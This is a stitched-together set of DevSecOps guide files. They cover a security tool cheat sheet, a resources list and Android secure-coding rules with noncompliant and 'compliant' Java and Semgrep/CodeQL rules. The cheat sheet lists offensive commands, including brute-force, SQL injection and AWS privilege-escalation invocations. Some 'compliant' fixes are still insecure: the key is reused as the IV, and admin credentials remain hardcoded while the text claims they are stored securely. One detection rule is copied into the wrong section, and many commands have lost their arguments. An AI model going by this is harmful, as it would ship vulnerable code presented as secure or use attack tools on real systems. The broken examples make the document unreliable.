identify and prioritize security risks and take steps to mitigate them. 3. Compliance: Many regulatory requirements, such as PCI DSS and HIPAA, require regular vulnerability assessments as part of their compliance standards. 4. Integration with other DevSecOps practices: Vulnerability assessment can be integrated with other DevSecOps practices, such as continuous integration and continuous deployment, to ensure that security is built into the application development lifecycle. There are a variety of vulnerability assessment tools and technologies available that can be used in DevSecOps, including both commercial and open-source solutions. Some popular vulnerability assessment tools include Nessus, Qualys, and OpenVAS. Best practices for vulnerability assessment: 1. Conduct regular vulnerability assessments to identify potential weaknesses and misconfigurations in your network and infrastructure. 2. Use a combination of automated and manual vulnerability scanning techniques to ensure comprehensive coverage. 3. Prioritize and remediate vulnerabilities based on their severity and potential impact on your organization. 4. Regularly update and patch software and systems to address known vulnerabilities. 5. Use segmentation and isolation to limit the spread of attacks in case of a successful breach. ## Nessus A vulnerability scanner that allows you to identify vulnerabilities and misconfigurations in your network and infrastructure. ``` nessuscli scan new -n "My Scan" -t "192.168.1.0/24" -T "Basic Network Scan" ``` ## OpenVAS An open-source vulnerability scanner that allows you to identify vulnerabilities and misconfigurations in your network and infrastructure. ``` omp -u admin -w password -h localhost -p 9390 -G ``` ## Nmap A network exploration and vulnerability scanner that allows you to identify open ports and potential vulnerabilities in your network. ``` nmap -sS -A -p1-65535 target.com ``` ## Qualys A cloud-based vulnerability management platform that allows you to identify vulnerabilities and misconfigurations in your network and infrastructure. ``` curl -H 'X-Requested-With: Curl Sample' -u "USERNAME:PASSWORD" -H 'Accept: application/json' -H 'Content-Type: application/json' 'https://qualysapi.qualys.com/api/2.0/fo/scan/?action=launch&scan_title=NewScan&target=TARGET_IP&option_profile=PROFILE_ID' ``` ## Trivy - [ ] Scanning Container Images with Trivy Trivy is a lightweight vulnerability scanner that can be integrated into your CI/CD pipeline to scan container images before deployment. Here's an example of using Trivy to scan a container image: ``` trivy image : ``` - [ ] Scanning Helm Charts with Trivy Trivy can also scan Helm charts for vulnerabilities before deploying them. Here's an example of using Trivy to scan a Helm chart: ``` trivy chart ``` ## Syft - [ ] Analyzing Container Images with Syft Syft provides detailed insights into the dependencies and vulnerabilities present in a container image. Here's an example of using Syft to analyze a container image: ``` syft : ``` ## Gruype - [ ] Analyzing Container Images with Gruype Gruype is a vulnerability scanner designed specifically for container images. Here's an example of using Gruype to analyze a container image: ``` grype : ``` ## Lynis - [ ] **Perform a System Scan** ``` lynis audit system: Perform a security audit on the system. ``` - [ ] **Specify a Profile** ``` lynis audit system --profile : Perform a security audit using a specific profile. ``` - [ ] **Generate a Report** ``` lynis report --report-file : Generate a report of the audit results. ``` - [ ] **Run Non-Interactive Mode** ``` lynis audit system --quiet: Run Lynis in non-interactive mode, displaying only the warnings and suggestions. ``` - [ ] **Update Lynis Database** ``` lynis update info: Update the Lynis database with the latest vulnerability checks and information. ``` - [ ] **Enable Debug Mode** ``` lynis audit system --debug: Run Lynis in debug mode, providing detailed debug information. ``` - [ ] **Ignore Specific Tests** ``` lynis audit system --tests : Skip specific tests during the audit. ``` - [ ] **View Available Plugins** ``` lynis show plugins: View the available plugins that can be used with Lynis. ``` ## Checkov - [ ] **Scan a specific directory or file for security issues** ``` checkov -d or checkov -f ``` - [ ] **Scan a specific cloud provider configuration** ``` checkov -t ``` - [ ] **Scan a specific cloud provider configuration file** ``` checkov -t -f ``` - [ ] **Perform a recursive scan on a directory** ``` checkov -d --recursive ``` - [ ] **Ignore specific check IDs during the scan** ``` checkov -d --skip-check ``` - [ ] **Specify a custom policy directory or file to use** ``` checkov -d --external-checks-dir ``` - [ ] **Output results in JSON format** ``` checkov -d -o json ``` - [ ] **Output results in SARIF format** ``` checkov -d -o sarif ``` - [ ] **Output results in JUnit XML format** ``` checkov -d -o junitxml ``` - [ ] **Output results in GitHub Actions format** ``` checkov -d -o github_failed_only ``` - [ ] **Enable verbose mode for more detailed output** ``` checkov -d --verbose ``` - [ ] **Display only failed checks** ``` checkov -d --quiet ``` - [ ] **Ignore informational-level checks during the scan** ``` checkov -d --quiet --skip-check I ``` - [ ] **Update Checkov to the latest version** ``` pip install --upgrade checkov ``` ## kubescape - [ ] **Scan a Kubernetes cluster for CIS benchmarks** ``` kubescape scan framework cis-1.5 cluster ``` - [ ] **Scan a specific namespace for vulnerabilities** ``` kubescape scan framework nsa cluster --namespace ``` - [ ] **Perform a dry-run scan to validate the Kubernetes manifest files** ``` kubescape scan framework mitre attack --dry-run --output kubescape-results.json ``` - [ ] **Scan a Helm chart for security issues** ``` kubescape scan framework kube-hunter chart --chart ``` - [ ] **Scan a YAML file for compliance with custom policies** ``` kubescape scan policy --file --policies ``` ## PurplePanda - [ ] **Specify the target IP or hostname** ``` python3 purplepanda.py -t ``` - [ ] **Specify the target port** ``` python3 purplepanda.py -t -p ``` - [ ] **Specify a specific NSE script** ``` python3 purplepanda.py -t -p -s ``` - [ ] **Specify the number of concurrent threads** ``` python3 purplepanda.py -t -p -n ``` - [ ] **Specify the output directory for results** ``` python3 purplepanda.py -t -p -o ``` - [ ] **Enable script tracing for debugging** ``` python3 purplepanda.py -t -p --trace ``` ## CDK - [ ] **Initialize a new CDK project** ``` cdk init ``` - [ ] **Synthesize CDK app into CloudFormation template** ``` cdk synth ``` - [ ] **Deploy CDK app to the default environment** ``` cdk deploy ``` - [ ] **Bootstrap the AWS environment for CDK deployment** ``` cdk bootstrap ``` - [ ] **Invoke a specific AWS Lambda function in the CDK app** ``` cdk invoke ``` - [ ] **Add a dependency to the CDK app** ``` cdk add ``` - [ ] **Create an IAM role with least privilege access** ``` cdk deploy IAMRoleStack ``` - [ ] **Deploy an EC2 instance with secure configuration** ``` cdk deploy EC2Stack ``` - [ ] **Implement AWS CloudTrail for audit logging** ``` cdk deploy CloudTrailStack ``` - [ ] **Enable AWS Config for continuous compliance monitoring** ``` cdk deploy ConfigStack ``` - [ ] **Implement AWS Security Hub for centralized security findings** ``` cdk deploy SecurityHubStack ``` - [ ] **Set up AWS GuardDuty for threat detection** ``` cdk deploy GuardDutyStack ``` - [ ] **Enable VPC Flow Logs for network traffic analysis** ``` cdk deploy FlowLogsStack ``` - [ ] **Configure AWS WAF for web application protection** ``` cdk deploy WAFStack ``` - [ ] **Deploy AWS Secrets Manager for secure secret storage** ``` cdk deploy SecretsManagerStack ``` - [ ] **Implement AWS Key Management Service (KMS) for encryption** ``` cdk deploy KMSStack ``` - [ ] **Enable AWS Shield for DDoS protection** ``` cdk deploy ShieldStack ``` - [ ] **Create a VPC with security best practices** ``` cdk deploy VPCStack ``` - [ ] **Create security groups for different services** ``` cdk deploy SecurityGroupStack ``` - [ ] **Configure strict inbound and outbound rules for security groups** ``` cdk deploy SecurityGroupRulesStack ``` ## cs-suite - [ ] **Run a vulnerability scan on a target URL** ``` python3 cs-suite.py vulnscan --url ``` - [ ] **Perform a subdomain enumeration** ``` python3 cs-suite.py subdomain --url ``` - [ ] **Scan a target for open ports** ``` python3 cs-suite.py portscan --ip ``` - [ ] **Enumerate SSL/TLS cipher suites supported by a target** ``` python3 cs-suite.py tlscipher --host ``` - [ ] **Run a vulnerability scan on a target URL** ``` python3 cs-suite.py vulnscan --url ``` - [ ] **Perform an SQL injection test on a target URL** ``` python3 cs-suite.py sqlinject --url ``` - [ ] **Conduct a cross-site scripting (XSS) test on a target URL** ``` python3 cs-suite.py xss --url ``` - [ ] **Scan a target for sensitive information using regex patterns** ``` python3 cs-suite.py sensitivescan --url ``` - [ ] **Perform a directory traversal test on a target URL** ``` python3 cs-suite.py dirtraversal --url ``` - [ ] **Run a brute force attack on a target's login page** ``` python3 cs-suite.py brute --url --username --passwords ``` - [ ] **Scan a target for insecure headers** ``` python3 cs-suite.py insecureheaders --url ``` - [ ] **Conduct a DNS zone transfer test on a target domain** ``` python3 cs-suite.py dnszone --domain ``` - [ ] **Check a target for vulnerable HTTP methods** ``` python3 cs-suite.py httpmethods --url ``` - [ ] **Perform a CORS misconfiguration test on a target URL** ``` python3 cs-suite.py cors --url ``` - [ ] **Scan a target for open S3 buckets** ``` python3 cs-suite.py s3scan --url ``` ## pacu - [ ] **AWS recon and enumeration** ``` ./pacu.py recon_enum ``` - [ ] **Privilege escalation through EC2 instance metadata** ``` ./pacu.py exploit_ec2_metadata ``` - [ ] **Enumeration of AWS resources and data leaks** ``` ./pacu.py enumeration ``` - [ ] **Enumeration of security groups and open ports** ``` ./pacu.py enum_security_groups ``` - [ ] **Enumeration of IAM users, groups, and roles** ``` ./pacu.py enum_iam_users_roles_groups ``` - [ ] **Enumeration of S3 buckets and their contents** ``` ./pacu.py enum_s3_buckets ``` - [ ] **Enumeration of EC2 instances and their metadata** ``` ./pacu.py enum_ec2_instances ``` - [ ] **Enumeration of RDS instances and their metadata** ``` ./pacu.py enum_rds_instances ``` - [ ] **Enumeration of ECR repositories and their images** ``` ./pacu.py enum_ecr_repositories ``` - [ ] **Privilege escalation through attaching an IAM role to an EC2 instance** ``` ./pacu.py escalate_iam_roles_to_ec2 ``` - [ ] **Privilege escalation through modifying EC2 instance IAM profiles** ``` ./pacu.py escalate_iam_roles_to_iam_profiles ``` - [ ] **Privilege escalation through modifying S3 bucket policies** ``` ./pacu.py escalate_s3_bucket_policy ``` - [ ] **Privilege escalation through modifying IAM group membership** ``` ./pacu.py escalate_iam_group_membership ``` - [ ] **Privilege escalation through modifying IAM user permissions** ``` ./pacu.py escalate_iam_user_permissions ``` - [ ] **Privilege escalation through modifying RDS instance permissions** ``` ./pacu.py escalate_rds_instance_permissions ``` - [ ] **Privilege escalation through modifying ECR repository permissions** ``` ./pacu.py escalate_ecr_repository_permissions ``` - [ ] **Privilege escalation through modifying Lambda function permissions** ``` ./pacu.py escalate_lambda_function_permissions ``` - [ ] **Privilege escalation through modifying KMS key policies** ``` ./pacu.py escalate_kms_key_policy ``` ================================================ FILE: docs/resources/resources.md ================================================ --- layout: default title: Resources nav_order: 12 has_children: false permalink: resources --- # Resources {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## Books ### Hands-On Security in DevOps ![By David Edwards](../../assets/images/Hands-On-Security-in-DevOps.jpg) [Hands-On Security in DevOps](https://www.amazon.com/Hands-Security-DevOps-continuous-deployment/dp/1788995503){: .btn .btn-purple .mr-2 } ### Practical Threat Intelligence and Data-Driven Threat Hunting: A hands-on guide to threat hunting with the ATT&CK™ Framework and open source tools Get to grips with cyber threat intelligence and data-driven threat hunting while exploring expert tips and techniques [Practical Threat Intelligence and Data-Driven Threat Hunting](https://www.amazon.com/Practical-Threat-Hunting/dp/1838556370){: .btn .btn-purple .mr-2 } ### Operationalizing Threat Intelligence: A guide to developing and operationalizing cyber threat intelligence programs Learn cyber threat intelligence fundamentals to implement and operationalize an organizational intelligence program [Operationalizing Threat Intelligence](https://www.amazon.com/Operationalizing-Threat-Intelligence-operationalizing-intelligence/dp/1801814686){: .btn .btn-purple .mr-2 } ### Web Application Security: Exploitation and Countermeasures for Modern Web Applications While many resources for network and IT security are available, detailed knowledge regarding modern web application security has been lacking―until now. This practical guide provides both offensive and defensive security concepts that software engineers can easily learn and apply. [Web Application Security: Exploitation and Countermeasures for Modern Web Applications](https://www.amazon.com/Web-Application-Security-Exploitation-Countermeasures/dp/1492053112){: .btn .btn-purple .mr-2 } ### Practical Application Security A Book About more +15 Vulnerability Type Attack & Defence and Tutorial About Software Security Tools and Appliance. [Practical Application Security](https://leanpub.com/practicalappsec){: .btn .btn-purple .mr-2 } ## Guidelines ### OWASP DevSecOps Guidelines ![By David Edwards](../../assets/images/OWASP-DevSecOps-Guidelines.png) The OWASP DevSecOps Guideline explains how we can implement a secure pipeline and use best practices and introduce tools that we can use in this matter. Also, the project is trying to help us promote the shift-left security culture in our development process. This project helps any companies of each size that have a development pipeline or, in other words, have a DevOps pipeline. We try to draw a perspective of a secure DevOps pipeline during this project and then improve it based on our customized requirements. [OWASP DevSecOps Guideline](https://owasp.org/www-project-devsecops-guideline/latest/){: .btn .btn-purple .mr-2 } ### 6mile DevSecOps Playbook This playbook will help you introduce effective DevSecOps practices in your company, regardless of size. We provide explicit guidance and actionable steps to introduce security controls, measure their effectiveness, and demonstrate value for money to your business leaders. Following this playbook will help teams build materially more secure applications, and that in the end, is the intent. [6mile DevSecOps Playbook](https://github.com/6mile/DevSecOps-Playbook){: .btn .btn-purple .mr-2 } ### Aif4thah Dojo-101 Knowledge base in cybersecurity, administration and secure development [Aif4thah Dojo-101](https://github.com/Aif4thah/Dojo-101){: .btn .btn-purple .mr-2 } ### sottlmarek DevSecOps [sottlmarek DevSecOps](https://github.com/sottlmarek/DevSecOps){: .btn .btn-purple .mr-2 } ### AcalephStorage Awesome DevSecOps [AcalephStorage Awesome DevSecOps](https://github.com/AcalephStorage/awesome-devops){: .btn .btn-purple .mr-2 } ### wmariuss Awesome DevOps [wmariuss Awesome DevOps]( https://github.com/wmariuss/awesome-devops#api-gateway){: .btn .btn-purple .mr-2 } ### zoidbergwill Awesome eBPF [zoidbergwill Awesome eBPF]( https://github.com/zoidbergwill/awesome-ebpf){: .btn .btn-purple .mr-2 } ## Framework ### Cloud Adoption Framework Proven guidance and best practices that help you confidently adopt the cloud and achieve business outcomes. [Microsoft Cloud Adoption Framework](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/){: .btn .btn-purple .mr-2 } ## Cheatsheet Hi! I’m Lars Windolf and my expertise is on system architecture and DevSecOps. I strongly care about collecting and sharing knowledge and use this site as a resource for my daily work. [lzone](https://lzone.de/cheat-sheet/Container){: .btn .btn-purple .mr-2 } ## Lab ### Actionable Adversary Emulation for the Cloud Proven guidance and best practices that help you confidently adopt the cloud and achieve business outcomes. [Granular, Actionable Adversary Emulation for the Cloud](https://github.com/Datadog/stratus-red-team/){: .btn .btn-purple .mr-2 } ### AWS Threat Simulation and Detection [sbasu7241 AWS Threat Simulation and Detection ](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main){: .btn .btn-purple .mr-2 } ### Hunting queries and detections [FalconForceTeam FalconFriday](https://github.com/FalconForceTeam/FalconFriday/){: .btn .btn-purple .mr-2 } ## Threats ### Cloud [MITRE ATT&CK Cloud](https://attack.mitre.org/matrices/enterprise/cloud/){: .btn .btn-purple .mr-2 } ### DevOps [DevOps Threat Matrix](https://www.microsoft.com/en-us/security/blog/2023/04/06/devops-threat-matrix/){: .btn .btn-purple .mr-2 } [Kubernetes Threat Matrix](https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/){: .btn .btn-purple .mr-2 } ================================================ FILE: docs/rules/android.md ================================================ --- layout: default title: Android parent: Rules --- # Android {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## Java ### Improper Platform Usage Noncompliant code: ```java // Noncompliant code public class InsecureStorageActivity extends AppCompatActivity { private SharedPreferences preferences; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_insecure_storage); preferences = getSharedPreferences("my_prefs", MODE_WORLD_READABLE); } // Rest of the code... } ``` In this noncompliant code, the SharedPreferences object is created with the mode MODE_WORLD_READABLE, which allows any other application to read the stored preferences. This violates the principle of proper platform usage, as sensitive data should not be stored in a way that allows unauthorized access. Compliant code: ```java // Compliant code public class SecureStorageActivity extends AppCompatActivity { private SharedPreferences preferences; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_secure_storage); preferences = getSharedPreferences("my_prefs", MODE_PRIVATE); } // Rest of the code... } ``` In the compliant code, the SharedPreferences object is created with the mode MODE_PRIVATE, which ensures that the preferences are only accessible by the application itself. This follows the principle of proper platform usage by securely storing sensitive data without allowing unauthorized access. By using MODE_PRIVATE instead of MODE_WORLD_READABLE, the compliant code ensures that the stored preferences are only accessible within the application, mitigating the risk of exposing sensitive information to other applications on the device. Semgrep: For Semgrep, you can use the following rule to detect the insecure use of MODE_WORLD_READABLE in SharedPreferences: ``` rules: - id: insecure-sharedpreferences patterns: - pattern: "getSharedPreferences\\(\"\\w+\",\\s*MODE_WORLD_READABLE\\)" message: "Insecure use of MODE_WORLD_READABLE in SharedPreferences" ``` CodeQL: For CodeQL, you can use the following query to detect the insecure use of MODE_WORLD_READABLE in SharedPreferences: ``` import java import android from MethodInvocation m where m.getMethod().getQualifiedName() = "android.content.Context.getSharedPreferences" and m.getArgument(1).toString() = "MODE_WORLD_READABLE" select m ``` ### Insecure Data Storage Noncompliant code: ```java // Noncompliant code public class InsecureStorageActivity extends AppCompatActivity { private static final String FILENAME = "my_sensitive_data.txt"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_insecure_storage); String sensitiveData = "This is my sensitive data"; writeToFile(sensitiveData); } private void writeToFile(String data) { try { File file = new File(getFilesDir(), FILENAME); FileWriter writer = new FileWriter(file); writer.write(data); writer.close(); } catch (IOException e) { e.printStackTrace(); } } // Rest of the code... } ``` In this noncompliant code, sensitive data is written to a file using the FileWriter without considering secure storage options. The data is stored in the application's private file directory, but it lacks proper encryption or additional security measures, making it vulnerable to unauthorized access. Compliant code: ```java // Compliant code public class SecureStorageActivity extends AppCompatActivity { private static final String FILENAME = "my_sensitive_data.txt"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_secure_storage); String sensitiveData = "This is my sensitive data"; writeToFile(sensitiveData); } private void writeToFile(String data) { try { FileOutputStream fos = openFileOutput(FILENAME, Context.MODE_PRIVATE); OutputStreamWriter writer = new OutputStreamWriter(fos); writer.write(data); writer.close(); } catch (IOException e) { e.printStackTrace(); } } // Rest of the code... } ``` In the compliant code, the FileOutputStream and OutputStreamWriter are used along with the openFileOutput method to securely write the sensitive data to a file in the application's private storage directory. The MODE_PRIVATE flag ensures that the file is only accessible by the application itself. This follows secure storage practices and helps protect the sensitive data from unauthorized access. By using openFileOutput with MODE_PRIVATE instead of FileWriter, the compliant code ensures secure storage of sensitive data, mitigating the risk of unauthorized access or exposure. Semgrep: ``` rules: - id: insecure-file-write patterns: - pattern: "FileWriter\\.write\\(\\w+\\)" message: "Insecure file write operation" ``` CodeQL: ``` import java import android from MethodInvocation m where m.getMethod().getQualifiedName() = "java.io.FileWriter.write" select m ``` ### Insecure Communication Noncompliant code: ```java // Noncompliant code public class InsecureCommunicationActivity extends AppCompatActivity { private static final String API_URL = "http://example.com/api/"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_insecure_communication); String requestData = "Some sensitive data"; String response = sendRequest(requestData); // Process the response... } private String sendRequest(String data) { try { URL url = new URL(API_URL); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("POST"); conn.setDoOutput(true); OutputStreamWriter writer = new OutputStreamWriter(conn.getOutputStream()); writer.write(data); writer.flush(); int responseCode = conn.getResponseCode(); if (responseCode == HttpURLConnection.HTTP_OK) { BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream())); StringBuilder response = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { response.append(line); } reader.close(); return response.toString(); } else { // Handle error response... } conn.disconnect(); } catch (Exception e) { e.printStackTrace(); } return null; } // Rest of the code... } ``` In this noncompliant code, the app sends sensitive data over an insecure HTTP connection (http://example.com/api/) using HttpURLConnection. This puts the data at risk of interception, tampering, and unauthorized access. Compliant code: ```java // Compliant code // Compliant code public class SecureCommunicationActivity extends AppCompatActivity { private static final String API_URL = "https://example.com/api/"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_secure_communication); String requestData = "Some sensitive data"; String response = sendRequest(requestData); // Process the response... } private String sendRequest(String data) { try { URL url = new URL(API_URL); HttpsURLConnection conn = (HttpsURLConnection) url.openConnection(); conn.setRequestMethod("POST"); conn.setDoOutput(true); OutputStreamWriter writer = new OutputStreamWriter(conn.getOutputStream()); writer.write(data); writer.flush(); int responseCode = conn.getResponseCode(); if (responseCode == HttpsURLConnection.HTTP_OK) { BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream())); StringBuilder response = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { response.append(line); } reader.close(); return response.toString(); } else { // Handle error response... } conn.disconnect(); } catch (Exception e) { e.printStackTrace(); } return null; } // Rest of the code... } ``` In the compliant code, the app uses HttpsURLConnection to establish a secure HTTPS connection (https://example.com/api/) for transmitting sensitive data. HTTPS ensures that the communication is encrypted, providing confidentiality and integrity of the data. By using HTTPS instead of HTTP, the compliant code addresses the vulnerability of insecure communication and reduces the risk of interception or unauthorized access to sensitive data. Semgrep: ``` rules: - id: insecure-file-write patterns: - pattern: "FileWriter\\.write\\(\\w+\\)" message: "Insecure file write operation" ``` CodeQL: ``` import java import android from MethodInvocation m where m.getMethod().getQualifiedName() = "java.io.FileWriter.write" select m ``` ### Insecure Authentication Noncompliant code: ```java // Noncompliant code public class LoginActivity extends AppCompatActivity { private EditText usernameEditText; private EditText passwordEditText; private Button loginButton; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_login); usernameEditText = findViewById(R.id.usernameEditText); passwordEditText = findViewById(R.id.passwordEditText); loginButton = findViewById(R.id.loginButton); loginButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { String username = usernameEditText.getText().toString(); String password = passwordEditText.getText().toString(); if (username.equals("admin") && password.equals("admin123")) { // Login successful openMainActivity(); } else { // Login failed Toast.makeText(LoginActivity.this, "Invalid username or password", Toast.LENGTH_SHORT).show(); } } }); } private void openMainActivity() { // Start the main activity Intent intent = new Intent(this, MainActivity.class); startActivity(intent); finish(); } // Rest of the code... } ``` In this noncompliant code, the app performs authentication by comparing the username and password entered by the user (admin and admin123) with hard-coded values. This approach is insecure because the credentials are easily discoverable and can be exploited by attackers. Compliant code: ```java // Compliant code public class LoginActivity extends AppCompatActivity { private EditText usernameEditText; private EditText passwordEditText; private Button loginButton; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_login); usernameEditText = findViewById(R.id.usernameEditText); passwordEditText = findViewById(R.id.passwordEditText); loginButton = findViewById(R.id.loginButton); loginButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { String username = usernameEditText.getText().toString(); String password = passwordEditText.getText().toString(); // Perform secure authentication if (authenticateUser(username, password)) { // Login successful openMainActivity(); } else { // Login failed Toast.makeText(LoginActivity.this, "Invalid username or password", Toast.LENGTH_SHORT).show(); } } }); } private boolean authenticateUser(String username, String password) { // Implement secure authentication logic here // Example: Make a secure API call to validate the user credentials // Return true if the authentication is successful, false otherwise return false; } private void openMainActivity() { // Start the main activity Intent intent = new Intent(this, MainActivity.class); startActivity(intent); finish(); } // Rest of the code... } ``` In the compliant code, the app separates the authentication logic into a dedicated method authenticateUser(), which can be implemented securely. This method can utilize secure authentication mechanisms such as hashing, salting, and server-side validation. By implementing a secure authentication process instead of relying on hard-coded credentials, the compliant code addresses the vulnerability of insecure authentication and reduces the risk of unauthorized access to user accounts. Semgrep: ``` rules: - id: insecure-login-credentials patterns: - pattern: '(username.equals\\("admin"\\) && password.equals\\("admin123"\\))' message: "Insecure use of hardcoded login credentials" ``` CodeQL: ``` import java import android from BinaryExpression b where b.getLeftOperand().toString() = "username.equals(\"admin\")" and b.getRightOperand().toString() = "password.equals(\"admin123\")" select b ``` ### Insufficient Cryptography Noncompliant code: ```java // Noncompliant code public class EncryptionUtils { private static final String KEY = "mySecretKey"; public static String encrypt(String data) { try { Key key = generateKey(); Cipher cipher = Cipher.getInstance("AES"); cipher.init(Cipher.ENCRYPT_MODE, key); byte[] encryptedData = cipher.doFinal(data.getBytes()); return Base64.encodeToString(encryptedData, Base64.DEFAULT); } catch (Exception e) { e.printStackTrace(); } return null; } public static String decrypt(String encryptedData) { try { Key key = generateKey(); Cipher cipher = Cipher.getInstance("AES"); cipher.init(Cipher.DECRYPT_MODE, key); byte[] decodedData = Base64.decode(encryptedData, Base64.DEFAULT); byte[] decryptedData = cipher.doFinal(decodedData); return new String(decryptedData); } catch (Exception e) { e.printStackTrace(); } return null; } private static Key generateKey() throws Exception { return new SecretKeySpec(KEY.getBytes(), "AES"); } // Rest of the code... } ``` In this noncompliant code, a custom EncryptionUtils class is implemented to encrypt and decrypt data using the AES algorithm. However, the code uses a hard-coded key (mySecretKey) and does not incorporate other essential security measures like salting, key strengthening, or secure key storage. This approach is insufficient and can be vulnerable to various cryptographic attacks. Compliant code: ```java import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.security.SecureRandom; import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import android.util.Base64; public class EncryptionUtils { private static final String KEY_ALGORITHM = "AES"; private static final String CIPHER_TRANSFORMATION = "AES/CBC/PKCS7Padding"; private SecretKeySpec secretKeySpec; private IvParameterSpec ivParameterSpec; public EncryptionUtils(String secretKey) { try { byte[] keyBytes = generateKeyBytes(secretKey); secretKeySpec = new SecretKeySpec(keyBytes, KEY_ALGORITHM); ivParameterSpec = new IvParameterSpec(keyBytes); } catch (Exception e) { e.printStackTrace(); } } public String encrypt(String data) { try { Cipher cipher = Cipher.getInstance(CIPHER_TRANSFORMATION); cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec); byte[] encryptedData = cipher.doFinal(data.getBytes()); return Base64.encodeToString(encryptedData, Base64.DEFAULT); } catch (Exception e) { e.printStackTrace(); } return null; } public String decrypt(String encryptedData) { try { Cipher cipher = Cipher.getInstance(CIPHER_TRANSFORMATION); cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec); byte[] decodedData = Base64.decode(encryptedData, Base64.DEFAULT); byte[] decryptedData = cipher.doFinal(decodedData); return new String(decryptedData); } catch (Exception e) { e.printStackTrace(); } return null; } private byte[] generateKeyBytes(String secretKey) throws NoSuchAlgorithmException { MessageDigest md = MessageDigest.getInstance("SHA-256"); md.update(secretKey.getBytes()); return md.digest(); } } ``` In the compliant code, the key generation has been improved by using a more secure approach. Instead of a simple byte conversion of the secretKey, a hashing algorithm (SHA-256) is used to derive a stronger key from the secretKey. This enhances the security of the encryption process by introducing a more robust key derivation function. Semgrep: ``` rules: - id: insecure-encryption-key patterns: - pattern: "return new SecretKeySpec\\(KEY.getBytes\\(\\), \"AES\"\\)" message: "Insecure use of hard-coded encryption key" ``` CodeQL: ``` import java import javax.crypto from MethodInvocation m where m.getMethod().getQualifiedName() = "javax.crypto.spec.SecretKeySpec." and m.getArgument(0).toString() = "KEY.getBytes()" and m.getArgument(1).toString() = "\"AES\"" select m ``` ### Insecure Authorization Noncompliant code: ```java public class AuthorizationUtils { public boolean checkAdminAccess(String username, String password) { if (username.equals("admin") && password.equals("password")) { return true; } else { return false; } } } ``` In this noncompliant code, the checkAdminAccess method performs an insecure authorization check by comparing the username and password directly with hardcoded values. This approach is vulnerable to attacks such as password guessing and brute-force attacks, as well as unauthorized access if the credentials are compromised. To address this issue, here's an example of compliant code for secure authorization in Android Java: Compliant code: ```java public class AuthorizationUtils { private static final String ADMIN_USERNAME = "admin"; private static final String ADMIN_PASSWORD = "password"; public boolean checkAdminAccess(String username, String password) { // Perform secure authentication logic // This could involve retrieving user credentials from a secure source, // such as a database, and comparing them using a secure hashing algorithm. // For demonstration purposes, we'll use a simple comparison with hardcoded values. if (username.equals(ADMIN_USERNAME) && password.equals(ADMIN_PASSWORD)) { return true; } else { return false; } } } ``` In the compliant code, the username and password comparison is still present, but the actual credentials are stored securely, such as in a secure database or a hashed and salted format. Additionally, this code provides an example where the hardcoded values are defined as constants, making it easier to manage and update the credentials if needed. It is important to implement proper authentication mechanisms, such as using secure password storage and strong authentication protocols, to ensure secure authorization in real-world scenarios. Semgrep: ``` rules: - id: insecure-admin-access patterns: - pattern: 'username.equals\\("admin"\\) && password.equals\\("password"\\)' message: "Insecure use of hardcoded admin credentials" ``` CodeQL: ``` import java class AuthorizationUtils extends AnyFile { AuthorizationUtils() { exists( MethodDeclaration m | m.getEnclosingType().toString() = "AuthorizationUtils" and m.getParameters().toString() = "[String username, String password]" and m.getReturnType().toString() = "boolean" and m.getBody().toString() = "if (username.equals(\"admin\") && password.equals(\"password\")) {\n return true;\n } else {\n return false;\n }" ) } } ``` ### Client Code Quality Noncompliant code: ```java public class MainActivity extends AppCompatActivity { private TextView textView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); textView = findViewById(R.id.textView); // Perform a long and complex operation on the main UI thread for (int i = 0; i < 1000000; i++) { // Perform some heavy computations } // Update the UI textView.setText("Operation completed"); } } ``` In this noncompliant code, a long and complex operation is performed directly on the main UI thread within the onCreate method of the MainActivity class. Performing such heavy computations on the main UI thread can cause the app to become unresponsive and negatively impact the user experience. It is essential to offload time-consuming operations to background threads to keep the UI responsive. To address this issue, here's an example of compliant code that improves client code quality in Android Java: Compliant code: ```java public class MainActivity extends AppCompatActivity { private TextView textView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); textView = findViewById(R.id.textView); // Perform the long and complex operation on a background thread new Thread(new Runnable() { @Override public void run() { for (int i = 0; i < 1000000; i++) { // Perform some heavy computations } // Update the UI on the main thread runOnUiThread(new Runnable() { @Override public void run() { // Update the UI textView.setText("Operation completed"); } }); } }).start(); } } ``` In the compliant code, the heavy computations are performed on a background thread using Thread or other concurrency mechanisms. Once the computations are completed, the UI update is performed on the main UI thread using runOnUiThread to ensure proper synchronization with the UI. By offloading the heavy computations to a background thread, the UI remains responsive, providing a better user experience. Semgrep: ``` rules: - id: long-operation-on-ui-thread patterns: - pattern: 'for \(int i = 0; 